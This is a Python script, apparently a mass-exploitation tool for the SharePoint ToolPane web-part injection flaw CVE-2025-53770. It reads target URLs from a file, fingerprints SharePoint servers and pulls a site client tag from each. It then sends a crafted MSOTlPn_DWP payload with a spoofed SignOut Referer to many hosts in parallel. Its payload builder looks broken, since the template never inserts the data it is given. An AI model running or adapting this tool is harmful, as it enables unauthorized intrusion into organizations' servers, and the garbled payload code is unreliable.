#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ Ultimate SharePoint Exploit Tool Combines Detection + Version Check + WebPart Injection (CVE-2025-53770) Author: @GOTOCVE — https://t.me/GOTOCVE Version: 3.1 Educational use only — Unauthorized use is prohibited. """ import argparse import concurrent.futures import requests import urllib.parse import re import time from requests.packages.urllib3.exceptions import InsecureRequestWarning from termcolor import cprint from requests.adapters import HTTPAdapter from requests.packages.urllib3.util.retry import Retry requests.packages.urllib3.disable_warnings(InsecureRequestWarning) retry_strategy = Retry( total=3, backoff_factor=1, status_forcelist=[429, 500, 502, 503, 504], allowed_methods=["HEAD", "GET", "OPTIONS", "POST"] ) adapter = HTTPAdapter(max_retries=retry_strategy) def create_session(): session = requests.Session() session.headers.update({ 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; Python Exploit Tool)' }) session.verify = False session.mount("https://", adapter) session.mount("http://", adapter) return session def normalize_url(url: str) -> str: return url if url.startswith(('http://', 'https://')) else "https://" + url def detect_sharepoint(session: requests.Session, url: str) -> dict: try: r = session.get(url, timeout=7) content = r.text headers = r.headers indicators = any(s in content for s in ['_layouts', '_vti_bin', 'sp-page-content', 'SharePoint']) sp_headers = any(headers.get(k) for k in ['MicrosoftSharePointTeamServices', 'X-SharePointHealthScore', 'SPRequestGuid']) return { 'url': url, 'is_sharepoint': indicators or sp_headers, 'version': headers.get('MicrosoftSharePointTeamServices', 'Unknown'), 'status_code': r.status_code } except requests.RequestException as e: cprint(f"[!] Request failed for {url}: {e}", "red") return {'url': url, 'is_sharepoint': False, 'version': 'Unknown', 'error': str(e)} def extract_site_client_tag(session: requests.Session, url: str) -> str | None: try: r = session.get(urllib.parse.urljoin(url, '/_layouts/15/error.aspx'), timeout=7) match = re.search(r'"siteClientTag"\s*:\s*"\d*\\\\\\$+([^\"]+)",?', r.text) return match.group(1) if match else None except requests.RequestException: return None def build_dwp_payload(compressed_data: str) -> str: return f''' <%@ Register Tagprefix="Scorecard" Namespace="Microsoft.PerformancePoint.Scorecards" Assembly="Microsoft.PerformancePoint.Scorecards.Client, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" %> <%@ Register Tagprefix="asp" Namespace="System.Web.UI" Assembly="System.Web.Extensions, Version=4.0.0.0, PublicKeyToken=31bf3856ad364e35" %>
'''.strip() def exploit(session: requests.Session, url: str, compressed_data: str) -> None: target_url = urllib.parse.urljoin(url, "/_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx") headers = { "Content-Type": "application/x-www-form-urlencoded", "Referer": urllib.parse.urljoin(url, "/_layouts/SignOut.aspx") } post_data = {"MSOTlPn_DWP": build_dwp_payload(compressed_data)} try: r = session.post(target_url, headers=headers, data=urllib.parse.urlencode(post_data), timeout=15) if r.status_code == 200: cprint(f"[+] Exploit delivered to {url}", "green") else: cprint(f"[-] Unexpected status code {r.status_code} from {url}", "yellow") except requests.RequestException as e: cprint(f"[!] Exploit failed for {url}: {e}", "red") def process_target(url: str, payload_b64: str) -> None: session = create_session() normalized_url = normalize_url(url) info = detect_sharepoint(session, normalized_url) if not info.get('is_sharepoint'): cprint(f"[-] Not a SharePoint site: {normalized_url}", "yellow") return version = extract_site_client_tag(session, normalized_url) or info.get('version', 'Unknown') cprint(f"[i] SharePoint version at {normalized_url}: {version}", "blue") exploit(session, normalized_url, payload_b64) def main(): parser = argparse.ArgumentParser(description="Ultimate SharePoint Exploit Tool v3.0 — by @GOTOCVE") parser.add_argument("-f", "--file", required=True, help="File with target URLs (one per line)") parser.add_argument("-p", "--payload", required=True, help="Base64-encoded CompressedDataTable payload") parser.add_argument("-t", "--threads", type=int, default=10, help="Number of concurrent threads") args = parser.parse_args() try: with open(args.file, 'r') as f: targets = [line.strip() for line in f if line.strip()] except Exception as e: cprint(f"[!] Failed to read targets: {e}", "red") return cprint(f"[*] Loaded {len(targets)} targets. Starting scan with {args.threads} threads...", "blue") start = time.time() with concurrent.futures.ThreadPoolExecutor(max_workers=args.threads) as executor: futures = [executor.submit(process_target, url, args.payload) for url in targets] for future in concurrent.futures.as_completed(futures): try: future.result() except Exception as e: cprint(f"[!] Thread error: {e}", "red") cprint(f"[*] Scan completed in {time.time() - start:.2f} seconds.", "blue") if __name__ == "__main__": main()